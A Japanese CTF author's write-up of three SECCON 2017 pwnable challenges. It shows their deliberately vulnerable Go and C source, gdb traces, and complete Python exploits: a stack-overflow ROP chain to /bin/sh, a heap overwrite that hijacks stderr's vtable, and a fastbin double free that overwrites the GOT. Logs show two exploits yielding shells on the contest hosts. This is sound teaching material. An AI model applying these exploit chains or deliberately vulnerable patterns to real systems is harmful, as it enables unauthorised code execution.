SECCON 2017 Onlineお疲れ様でした~
今年の予選は,韓国のCTFチーム Cykor が作問協力して下さったので,私は簡易な Pwnable 問題を3問作成しました.
去年よりも作問数を減らしたので,解説の作業量が減って楽です(笑)
Baby Stack (Exploit100)
Can you do a traditional stack attack?
Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
伝統的なスタックオーバーフローからの ROP を行う問題です.
以下にソースコードを示しますが,GO言語で実装している以外は特にひねってないです.
ソースコード
package main import ( "fmt" "os" "bufio" "unsafe" ) func main(){ buf := make([]byte,32) stdin := bufio.NewScanner(os.Stdin) fmt.Printf("Please tell me your name >> "); stdin.Scan() name := stdin.Text() fmt.Printf("Give me your message >> "); stdin.Scan() text := stdin.Text() memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text)) fmt.Printf("Thank you, %s!\nmsg : %s\n", name, string(buf)) } func memcpy(dst uintptr, src uintptr, len int){ for i := 0; i < len; i++ { *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src)) dst += 1 src += 1 } }
解説 および 解法
入力を受け取り,その文字列をスタックに確保された32byteのバッファにコピーを行います.
コピーする長さは入力を受け取った長さ分なので,32byteよりも長ければ単純なスタックバッファオーバーフローを起こします.
メッセージにbbbbを与え,main.memcpyに制御が渡った時点での様子を示します.
GO言語ではどうやらスタックを用いて引数を関数に渡しているようです.
(最下部のメッセージを読んでも分かることではありますが,)コピー先のアドレスは 0xc82003ddb0
ですね.
[----------------------------------registers-----------------------------------] RAX: 0x4 RBX: 0xc82003ddf8 --> 0xc82003dd90 --> 0xc862626262 RCX: 0xc82003dd90 --> 0xc862626262 RDX: 0xc820068005 --> 0xa62626262 ('bbbb\n') RSI: 0xc820068005 --> 0xa62626262 ('bbbb\n') RDI: 0xc82003dd90 --> 0xc862626262 RBP: 0xc82003dd90 --> 0xc862626262 RSP: 0xc82003dd48 --> 0x4012a4 (<main.main+676>: mov rbx,QWORD PTR [rsp+0xc8]) RIP: 0x4014f0 (<main.memcpy>: mov rsi,QWORD PTR [rsp+0x18]) R8 : 0xc82003db80 --> 0x4 R9 : 0xffb R10: 0xc820068005 --> 0xa62626262 ('bbbb\n') R11: 0x206 R12: 0x15 R13: 0x536a54 --> 0x201fe001001e4 R14: 0x1 R15: 0x8 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4014e1 <main.main+1249>: jmp 0x401040 <main.main+64> 0x4014e6 <main.main+1254>: call 0x453670 <runtime.morestack_noctxt> 0x4014eb <main.main+1259>: jmp 0x401000 <main.main> => 0x4014f0 <main.memcpy>: mov rsi,QWORD PTR [rsp+0x18] 0x4014f5 <main.memcpy+5>: mov rdx,QWORD PTR [rsp+0x8] 0x4014fa <main.memcpy+10>: mov rcx,QWORD PTR [rsp+0x10] 0x4014ff <main.memcpy+15>: xor eax,eax 0x401501 <main.memcpy+17>: cmp rax,rsi [------------------------------------stack-------------------------------------] 0000| 0xc82003dd48 --> 0x4012a4 (<main.main+676>: mov rbx,QWORD PTR [rsp+0xc8]) 0008| 0xc82003dd50 --> 0xc82003ddb0 --> 0x0 0016| 0xc82003dd58 --> 0xc82003dd90 --> 0xc862626262 0024| 0xc82003dd60 --> 0x4 0032| 0xc82003dd68 --> 0xffb 0040| 0xc82003dd70 --> 0xc82003dd90 --> 0xc862626262 0048| 0xc82003dd78 --> 0x4 0056| 0xc82003dd80 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 1 "baby_stack" hit Breakpoint 1, main.memcpy (dst=0xc82003ddb0, src=0xc82003dd90, len=0x4) at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:26
さて,バックトレースを行いますと,main.main 関数は runtime.main 関数から呼ばれているようです.
gdb-peda$ bt #0 main.memcpy (dst=0xc82003ddb0, src=0xc82003dd90, len=0x4) at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:26 #1 0x00000000004012a4 in main.main () at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:21 #2 0x0000000000429ef0 in runtime.main () at /usr/lib/go-1.6/src/runtime/proc.go:188 #3 0x0000000000455d11 in runtime.goexit () at /usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 #4 0x0000000000000000 in ?? ()
スタックを掘ると,どうやら 0xc82003df48
にそのリターンアドレスが置かれているようなので,0xc82003df48-0xc82003ddb0 = 0x198
だけオフセットを埋めれば改竄できそうです.
0400| 0xc82003df20 --> 0xa ('\n') 0408| 0xc82003df28 --> 0x0 0416| 0xc82003df30 --> 0x0 0424| 0xc82003df38 --> 0x0 0432| 0xc82003df40 --> 0x1 0440| 0xc82003df48 --> 0x429ef0 (<runtime.main+688>: mov ebx,DWORD PTR [rip+0x1903c2] # 0x5ba2b8 <runtime.panicking>) 0448| 0xc82003df50 --> 0xc8200160c0 --> 0x0 0456| 0xc82003df58 --> 0x0 0464| 0xc82003df60 --> 0xc8200160c0 --> 0x0 0472| 0xc82003df68 --> 0x0 0480| 0xc82003df70 --> 0x0
今度はメッセージに 'a'*0x198+'x'*8
を送ったところ,死にました.
どこで落ちたか分かりやすくするため,送る文字列を pattc 0x200
で生成した文字列に変更し,main.memcpyの後をステップ実行しました.
すると,runtime.slicebytetostring関数でバイトスライスを String に変換しようとするところで上書きされたポインタを利用しているようです..
[-------------------------------------code-------------------------------------] => 0x4012f3 <main.main+755>: call 0x43f630 <runtime.slicebytetostring> 0x4012f8 <main.main+760>: mov rbx,QWORD PTR [rsp+0x20] 0x4012fd <main.main+765>: mov QWORD PTR [rsp+0x108],rbx 0x401305 <main.main+773>: mov rbx,QWORD PTR [rsp+0x28] 0x40130a <main.main+778>: mov QWORD PTR [rsp+0x110],rbx No argument [------------------------------------stack-------------------------------------] 0000| 0xc82003dd50 --> 0x0 0008| 0xc82003dd58 ("AzA%%A%sA%BA%$A%nA%CA%-A") 0016| 0xc82003dd60 ("A%BA%$A%nA%CA%-A") 0024| 0xc82003dd68 ("nA%CA%-A") gdb-peda$ patto AzA%%A%sA%BA%$A%nA%CA%-A AzA%%A%sA%BA%$A%nA%CA%-A found at offset: 200
利用されている値のオフセットを調べると 200(=0xc8)なので,この関数の呼び出しが正常に行えるようにこの位置に適当なポインタを,その次にサイズを格納します
exploit = list('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%As') exploit[0xc8:0xd0] = p64(addr_str_thank) exploit[0xd0:0xd8] = p64(0x20) exploit = ''.join(exploit)
すると,こんどはまた別の場所で落ちてしまいました.
同様にして 0x6941414d41413741
のオフセットを patto で調べると104(=0x68),0x41414e4141384141
は112=(0x70)であるという事が分かります.
ここも同様に適当なアドレスとサイズに書き換えてやりましょう.
goroutine 1 [running]: panic(0x4e4800, 0xc82000a3d0) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 fmt.(*fmt).padString(0xc82004ed58, 0x6941414d41413741, 0x41414e4141384141) /usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fmt.(*fmt).fmt_s(0xc82004ed58, 0x6941414d41413741, 0x41414e4141384141) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fmt.(*pp).fmtString(0xc82004ed00, 0x6941414d41413741, 0x41414e4141384141, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fmt.(*pp).printArg(0xc82004ed00, 0x4c1c00, 0xc82000a3b0, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fmt.(*pp).doPrintf(0xc82004ed00, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fmt.Fprintf(0x2aaaaab031e8, 0xc82002a010, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fmt.Printf(0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x20, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e type..eq.[2]interface {}(0x470931, 0x59f920, 0x46defd) /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:1 +0xca
無事に main.main の ret までたどり着きました.
-------------------------------------code-------------------------------------] 0x401454 <main.main+1108>: mov QWORD PTR [rsp+0x20],rbx 0x401459 <main.main+1113>: call 0x45ac40 <fmt.Printf> 0x40145e <main.main+1118>: add rsp,0x1f8 => 0x401465 <main.main+1125>: ret 0x401466 <main.main+1126>: lea r8,[rbx+0x8] 0x40146a <main.main+1130>: mov QWORD PTR [rsp],r8 0x40146e <main.main+1134>: mov QWORD PTR [rsp+0x8],rax 0x401473 <main.main+1139>: call 0x40f330 <runtime.writebarrierptr>
あとはROPでシステムコールを呼んでやるだけで良いので説明は割愛します.
やることは,sys_read で bss 領域あたりに /bin/sh
を標準入力から読み込んで,sys_execve を呼ぶだけです.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './baby_stack' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'baby_stack.pwn.seccon.jp', 'port':15285}) env.select('local') #========== binf = ELF(bin_file) addr_str_thank = binf.search('Thank you').next() addr_bss = binf.sep_section['.bss'] addr_poprdi_or = 0x00470931 addr_poprdx_or = 0x004a247c addr_syscall = 0x00456889 #========== def attack(conn): rop = ROP(binf) exploit = 'a'*0x68 exploit += p64(addr_str_thank) exploit += p64(0x20) exploit += 'b'*(0xc8-len(exploit)) exploit += p64(addr_str_thank) exploit += p64(0x20) exploit += 'c'*(0x198-len(exploit)) exploit += p64(rop.rax.address) exploit += p64(addr_bss+0x100) exploit += p64(addr_poprdi_or) exploit += p64(0x0) exploit += p64(rop.rsi.address) exploit += p64(addr_bss) exploit += p64(addr_poprdx_or) exploit += p64(0x8) exploit += p64(rop.rax.address) exploit += p64(constants.SYS_read) exploit += p64(addr_syscall) exploit += p64(rop.rax.address) exploit += p64(addr_bss+0x100) exploit += p64(addr_poprdi_or) exploit += p64(addr_bss) exploit += p64(rop.rsi.address) exploit += p64(0) exploit += p64(addr_poprdx_or) exploit += p64(0) exploit += p64(rop.rax.address) exploit += p64(constants.SYS_execve) exploit += p64(addr_syscall) conn.sendlineafter('>> ', 'hoge') conn.sendlineafter('>> ', exploit) sleep(0.05) conn.send('/bin/sh\0') #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行結果です.
% ./exploit_baby_stack.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to baby_stack.pwn.seccon.jp on port 15285: Done [*] Loaded cached gadgets for './baby_stack' [*] Switching to interactive mode Thank you, Thank you, %s! msg : %s \x00\x00\x00\x00\x00\x00\x00\x00! msg : Thank you, %s! msg : %s \x00\x00\x00\x00\x00\x00\x00\x00 $ ls -al total 2464 drwxr-x--- 2 root baby_stack 4096 Nov 28 18:36 . drwxr-xr-x 6 root root 4096 Nov 28 18:36 .. -rw-r----- 1 root baby_stack 220 Sep 1 2015 .bash_logout -rw-r----- 1 root baby_stack 3771 Sep 1 2015 .bashrc -rw-r----- 1 root baby_stack 655 May 16 2017 .profile -rwxr-x--- 1 root baby_stack 2496664 Nov 28 18:36 baby_stack -rw-r----- 1 root baby_stack 48 Nov 28 18:36 flag.txt $ cat flag.txt SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}
Election (Exploit200)
Today is the vote day.
Who would you like to be chairman?
Host : election.pwn.seccon.jp
Port : 28349
election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip
投票を行うプログラムです.
ソースコード
// gcc election.c -Wl,-z,relro,-z,now -o election #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <time.h> #define BUF_SIZE 32 enum LEVEL {LV_STND=1, LV_VOTE, LV_RESLT}; struct candidate { char *name; struct candidate *next; unsigned votes; }; struct candidate *list = NULL; enum LEVEL lv = LV_STND; int inv_votes = 0; int menu(void); void stand(void); void vote(void); void result(void); struct candidate *add_list(char *name); struct candidate *find_list(char *name); int getnline(char *buf, int size); int getint(void); __attribute__((constructor)) void init(void){ setbuf(stdout, NULL); srand(time(NULL)); } int main(void){ int n; printf("*** Election ***\n"); add_list("Tatsumi"); add_list("Shinonome"); add_list("Ojima"); while(n = menu()){ switch(n){ case 1: stand(); break; case 2: vote(); break; case 3: result(); break; default: puts("Invalid input..."); } puts("done."); } printf("Thank you!!"); } int menu(void){ int n; printf( "\n" "1. stand\n" "2. vote\n" "3. result\n" "0. eat chocolate\n" ">> "); n = getint(); putchar('\n'); return n; } void stand(void){ char buf[BUF_SIZE]; if(lv > LV_STND){ printf("The candidacy has already closed.\n"); return; } printf("Enter the name.\n>> "); getnline(buf, sizeof(buf)); add_list(buf); } void vote(void){ struct { char buf[BUF_SIZE]; struct candidate *p; char v; } _; _.v = 1; if(lv > LV_VOTE){ printf("The voting has already closed.\n"); return; } lv = LV_VOTE; printf("Show candidates? (Y/n) "); getnline(_.buf, sizeof(_.buf)); if(strcasecmp(_.buf, "n")){ struct candidate *p; printf("Candidates:\n"); for(p=list; p; p=p->next) printf("* %s\n", p->name); } printf("Enter the name of the candidate.\n>> "); getnline(_.buf, sizeof(_.buf)); if(!strcasecmp(_.buf, "oshima")){ if(!(_.p = find_list("ojima"))) return; printf( "I'm not 'Oshima', but 'Ojima'!\n" "Would you modify the name and re-vote?\n>> "); getnline(_.buf, sizeof(_)); if(!strcasecmp(_.buf, "yes")) _.p->votes += _.v; } else if(_.p = find_list(_.buf)) _.p->votes += _.v; else{ printf("'%s' is invalid vote :(\n", _.buf); inv_votes++; } } void result(void){ struct candidate *p; lv = LV_RESLT; for(p=list; p; p=p->next) printf("%11s : %d\n", p->name, p->votes); printf("%11s : %d\n", "INVALID", inv_votes); } struct candidate *add_list(char *name){ struct candidate *p; p = malloc(sizeof(struct candidate)); p->name = strdup(name); p->votes = rand()%100; p->next = list; list = p; } struct candidate *find_list(char *name){ struct candidate *p; for(p=list; p; p=p->next) if(!strcasecmp(name, p->name)) return p; return NULL; } int getnline(char *buf, int size){ char *lf; int n; if(size < 1 || !(n = read(STDIN_FILENO, buf, size-1))) return 0; buf[n] = '\0'; if((lf=strchr(buf,'\n'))) *lf='\0'; return n; } int getint(void){ char buf[BUF_SIZE]={0}; getnline(buf, sizeof(buf)); return atoi(buf); }
解説 および 解法
恋チョコですね,はい
私は皐月さんとみーちゃんが好きです.
この問題では,候補者の構造体がリストで繋がれています.
要素には,名前・次の候補者・投票数が含まれています.
vote関数において,Oshimaに投票するとOjimaに投票しなおすかどうか尋ねられます.
この時,本来であれば Ojima のチャンクを探し出して投票数を1増やすのですが,そこの入力にオーバーフローが存在し,投票時に値を加えるポインタと値を変更することができます.
まだヒープのアドレスが分かっていないため,初めは'yes\x00'+'a'*0x1cを送って下位1バイトのみをヌルとします.
ヒープの先頭を候補者構造体として扱い,0x10byte先の投票数に該当する位置の値を増やします.
本来であれば 0x603010
が候補者構造体の先頭なのですが, 0x603000
を先頭とするので,0x603010
の値が増やされることになります.
この位置は,Tatsumi の name のポインタだったのですが,この値を繰り返し増やしていくことで0x603030以降のヒープ内から値をリークすることが可能になります.
今回は0x20回増やし,0x603050
に格納されている値をリークさせヒープのアドレスを特定します.
gdb-peda$ x/32gx 0x603000 0x603000: 0x0000000000000000 0x0000000000000021 0x603010: 0x0000000000603030 0x0000000000000000 0x603020: 0x0000000000000049 0x0000000000000021 0x603030: 0x00696d7573746154 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000021 0x603050: 0x0000000000603070 0x0000000000603010
次に libc のアドレスを特定します.
既にheapのアドレスは分かっているため,先程のように下位1バイトのみ書き換える必要はなく,いきなりヒープ内のアドレスを指定することができます.
0x603058はShinonomeの次,つまり Tatsumi を指していましたが,ここの値を書き換えてユーザが追加した候補の 名前 のチャンクを指すようにします.
Tatsumiには消えてもらいます.
追加する候補者の名前は GOT の適当なエントリのアドレスとして,ここで入力した名前を候補者構造体の先頭とします.
すると,GOTエントリのアドレスが name として扱われ,libc内の関数のアドレスを得ることができます.
ここまでくると,バイナリ本体,heap, libc内の好きな値を好きに書き換えることができるようになりました.
しかし,このバイナリは Full RELRO なのでGOTは書き換えられません.
狙う場所はいろいろあるとは思いますが,今回はプログラム終了時に行われる IO のフラッシュ処理を乗っ取ることにしました.
.bss領域の適当な場所に One Gadget RCE のアドレスを配置し,stderr の vtable を _IO_file_jumps からbssに書き換え,_overflowが One Gadget RCE を指すようにします.
あとは,IO_flush_all_lockp関数内でこの処理がきちんと呼ばれるように,_IO_2_1_stderr_(offset +0xc0)と _IO_wide_data_2(offset +0x20)の値を1に書き換えてやれば終わりです.
Exploit
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './election' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'election.pwn.seccon.jp', 'port':28349}) env.select() #========== binf = ELF(bin_file) addr_got_main = binf.got['__libc_start_main'] addr_main = binf.sep_function['main'] addr_bss = binf.sep_section['.bss'] addr_buf = addr_bss + 0x20 libc = binf.libc offset_libc_main = libc.sep_function['__libc_start_main'] #========== def attack(conn): el = Election(conn) el.stand(p64(addr_got_main)) for i in range(0x20): el.vote('yes\x00'+'a'*0x1c, True) conn.sendlineafter('>> ', '2') conn.sendlineafter('(Y/n) ', 'y') conn.recvuntil('Shinonome\n* ') addr_heap_base = u(conn.recvuntil('\n', drop=True)) - 0x70 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) conn.sendlineafter('>> ', 'hoge') set_value(el, addr_heap_base+0x58, addr_heap_base+0x10, addr_heap_base+0xf0) conn.sendlineafter('>> ', '2') conn.sendlineafter('(Y/n) ', 'y') conn.recvuntil('Shinonome\n* ') addr_libc_main = u(conn.recvuntil('\n', drop=True)) libc.address = addr_libc_main - offset_libc_main addr_libc_stderr = libc.symbols['_IO_2_1_stderr_'] addr_libc_io_wide = addr_libc_stderr - 0xee0 #libc.symbols['_IO_wide_data_2'] addr_libc_io_jumps = libc.symbols['_IO_file_jumps'] addr_libc_one_rce = libc.address + 0x4526a info('addr_libc_base = 0x{:08x}'.format(libc.address)) conn.sendlineafter('>> ', 'hoge') set_value(el, addr_libc_stderr+0xc0, 0, 1) set_value(el, addr_libc_io_wide+0x20, 0, 1) set_value(el, addr_buf+0x18, 0, addr_libc_one_rce) set_value(el, addr_libc_stderr+0xd8, addr_libc_io_jumps, addr_buf) conn.sendline('0') def increment(el, addr, x): el.vote('yes\x00'+'a'*0x1c+p64(addr-0x10)+chr(x), True) def set_value(el, addr, org, new): for i in range(8): o = (org >> i*8) & 0xff n = (new >> i*8) & 0xff if n < o: n += 0x100 new -= 1 << (i+1)*8 diff = n-o while diff > 0x7f: increment(el, addr+i, 0x7f) diff -= 0x7f if diff: increment(el, addr+i, diff) class Election: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def stand(self, name): self.sendlineafter('>> ', '1') self.sendafter('>> ', name) def vote(self, name, overwrite = False): self.sendlineafter('>> ', '2') self.sendlineafter('(Y/n) ', 'n') if overwrite: self.sendafter('>> ', 'oshima') self.sendafter('>> ', name) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行結果です.
% ./exploit_election.py Select Environment ['debug', 'remote', 'local'] ...r [*] Environment : set environment "remote" [*] '/home/yutaro/CTF/SECCON/2017/election/election' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to election.pwn.seccon.jp on port 28349: Done [*] addr_heap_base = 0x01209000 [*] addr_libc_base = 0x7f3708517000 [*] Switching to interactive mode $ ls -al total 40 drwxr-x--- 2 root election 4096 Nov 23 17:17 . drwxr-xr-x 6 root root 4096 Nov 28 18:36 .. -rw-r----- 1 root election 220 Sep 1 2015 .bash_logout -rw-r----- 1 root election 3771 Sep 1 2015 .bashrc -rw-r----- 1 root election 655 May 16 2017 .profile -rwxr-x--- 1 root election 13432 Nov 23 17:17 election -rw-r----- 1 root election 34 Nov 23 16:04 flag.txt $ cat flag.txt SECCON{I5_7h15_4_fr4ud_3l3c710n?}
Secure KeyManager (Exploit400)
I have developed a very very secure key manager!
The key should never leak.
Have a secure day :)
Host : secure_keymanager.pwn.seccon.jp
Port : 47225
secure_keymanager-f9d02e8a1149ff866cad10f001e8f23803bcac3c42ed7ffdcbe50da40e8afd12.zip
作問ミスしました.
おしまい.
ソースコード
// gcc secure_keymanager.c -o secure_keymanager #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <malloc.h> #include <string.h> #define BUF_SIZE 64 #define KEYS 8 int menu(void); void change_master(void); int check_account(void); void add_key(void); void show_key(void); void edit_key(void); void remove_key(void); int getnline(char *buf, int size); int getint(void); struct Entry { char title[0x20]; char key[]; }; struct Entry *key_list[KEYS]; char key_map[KEYS]; char account[0x10]; char master[0x10]; __attribute__((constructor)) void init(void){ setbuf(stdout, NULL); } int main(void){ int n; puts( " _____ _ __ ___ ___ \n" "/ ___| | | / / | \\/ | \n" "\\ `--. ___ ___ _ _ _ __ ___ | |/ / ___ _ _| . . | __ _ _ __ __ _ __ _ ___ _ __ \n" " `--. \\/ _ \\/ __| | | | '__/ _ \\ | \\ / _ \\ | | | |\\/| |/ _` | '_ \\ / _` |/ _` |/ _ \\ '__|\n" "/\\__/ / __/ (__| |_| | | | __/ | |\\ \\ __/ |_| | | | | (_| | | | | (_| | (_| | __/ | \n" "\\____/ \\___|\\___|\\__,_|_| \\___| \\_| \\_/\\___|\\__, \\_| |_/\\__,_|_| |_|\\__,_|\\__, |\\___|_| \n" " __/ | __/ | \n" " |___/ |___/ \n" ); printf("Set Your Account Name >> "); read(STDIN_FILENO, account, sizeof(account)); printf("Set Your Master Pass >> "); read(STDIN_FILENO, master, sizeof(master)); while(n = menu()){ switch(n){ case 1: add_key(); break; case 2: show_key(); break; case 3: edit_key(); break; case 4: remove_key(); break; case 9: change_master(); break; default: puts("Invalid input..."); } puts("done."); } return 0; } int menu(void){ int n; printf( "\n" "1. add\n" "2. show\n" "3. edit\n" "4. remove\n" "9. change master pass\n" "0. exit\n" ">> "); n = getint(); puts(""); return n; } void change_master(void){ if(!check_account()) return; printf("Set New Master Pass >> "); read(STDIN_FILENO, master, sizeof(master)); } int check_account(void){ char buf[BUF_SIZE]; printf("Input Account Name >> "); read(STDIN_FILENO, buf, sizeof(buf)); if(strcmp(account, buf)){ printf("Account '%s' does not exist...\n", buf); return 0; } if(!strlen(master)) return 1; printf("Input Master Pass >> "); read(STDIN_FILENO, buf, sizeof(buf)); if(!strcmp(master, buf)) return 1; printf("Wrong Pass...\n"); return 0; } void add_key(void){ int i, size; struct Entry *e; for(i=0; i<KEYS && key_map[i]; i++); if(i>=KEYS){ puts("can't add key any more..."); return; } puts("ADD KEY"); printf("Input key length..."); size = getint(); if(!(e = malloc(offsetof(struct Entry, key) + size))){ puts("can not allocate..."); return; } printf("Input title..."); getnline(e->title, sizeof(e->title)); printf("Input key..."); getnline(e->key, size); key_list[i] = e; key_map[i] = 1; } void show_key(void){ int i; printf("id : Title / Key\n"); for(i=0; i<KEYS; i++) if(key_map[i]) printf("%02d : ***SECRET*** / ***SECRET***\n", i); } void edit_key(void){ int id; puts("EDIT KEY"); if(!check_account()) return; printf("Input id to edit..."); id = getint(); if(id < 0 || id > KEYS-1) puts("out of length"); else if(!key_map[id]) puts("not exits..."); else{ printf("Input new key..."); getnline(key_list[id]->key, malloc_usable_size(key_list[id]) - offsetof(struct Entry, key)); } } void remove_key(void){ int id; puts("REMOVE KEY"); if(!check_account()) return; printf("Input id to remove..."); id = getint(); if(id < 0 || id > KEYS-1) puts("out of length"); else if(!key_list[id]) puts("not exits..."); else{ free(key_list[id]); key_map[id] = 0; } } int getnline(char *buf, int size){ char *lf; int n; if(size < 1 || !(n = read(STDIN_FILENO, buf, size-1))) return 0; buf[n] = '\0'; if((lf=strchr(buf,'\n'))) *lf='\0'; return n; } int getint(void){ char buf[BUF_SIZE]={0}; getnline(buf, sizeof(buf)); return atoi(buf); }
解説 および 解法
check_account関数の buf[BUF_SIZE] をヌル初期化するのを忘れていたため,libcのアドレスが容易に特定できる状態でした.
本当はここが初期化されてても,さらにはprintfが無くても解けるんですよ.
つら
去年の某ぬる氏のお気持ちになってる
さて解法ですが,libcのアドレスはcheck_accountで存在しないアカウントを指定するとバッファに残ったゴミからアドレスがリークします.
fast bins の double free を利用して,ごにょればtopを改竄することが可能です.
あとは好きなGOT書き換えてくれればええんやで(投げやり)
Exploit
#!/usr/bin/env python from sc_expwn import * # https://github.com/shift-crops/sc_expwn/blob/master/sc_expwn.py bin_file = './secure_keymanager' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('debug', 'local', 'remote') env.set_item('mode', debug = 'DEBUG', local = 'PROC', remote = 'SOCKET') env.set_item('target', debug = {'argv':[bin_file], 'aslr':False}, \ local = {'argv':[bin_file]}, \ remote = {'host':'secure_keymanager.pwn.seccon.jp', 'port':47225}) env.select() #========== binf = ELF(bin_file) addr_got_strchr = binf.got['strchr'] libc = binf.libc #========== def attack(conn): note = Note(conn) conn.sendafter('Set Your Account Name >> ', 'hoge') note.account = 'hoge' conn.sendafter('Set Your Master Pass >> ', 'fuga') note.master = 'fuga' conn.sendafter('>> ', '9') conn.sendafter('Input Account Name >> ', 'a'*7+'!') conn.recvuntil('a!') libc.address = u(conn.recv(6)) - 0x7a81b addr_libc_mainarena = libc.address + 0x3c4b20 addr_libc_system = libc.sep_function['system'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) note.add(0x10, '0' , '0') note.add(0x10, '1' , '1') note.add(0x20, 'a' , 'a') note.add(0x20, 'b' , 'b') note.remove(0) note.remove(1) note.remove(0) note.remove(2) note.remove(3) note.remove(2) note.add(0x10, p64(0x50) , 'x') note.add(0x10, '1' , '1') note.add(0x10, '2' , '2') note.add(0x20, p64(addr_libc_mainarena + 0x10) , 'y') note.add(0x20, 'b' , 'b') note.add(0x20, 'c' , 'c') note.add(0x20, 'd' , '\x00'*0x18+p64(addr_got_strchr-0x38)[:-1]) note.add(0x50, '\x00', '/bin/sh\x00' + p64(addr_libc_system)) class Note: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendafter = conn.sendafter def add(self, size, title, key): self.sendafter('>> ', '1') self.sendafter('...', str(size)) self.sendafter('...', title) if key: self.sendafter('...', key) def remove(self, n): self.sendafter('>> ', '4') self.check_account() self.sendafter('...', str(n)) def check_account(self): self.sendafter('>> ', self.account if self.account[0] != '\x00' else '\x00') if self.master[0] != '\x00': self.sendafter('>> ', self.master) #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) conn.interactive() #==========
実行するとこんな感じです.
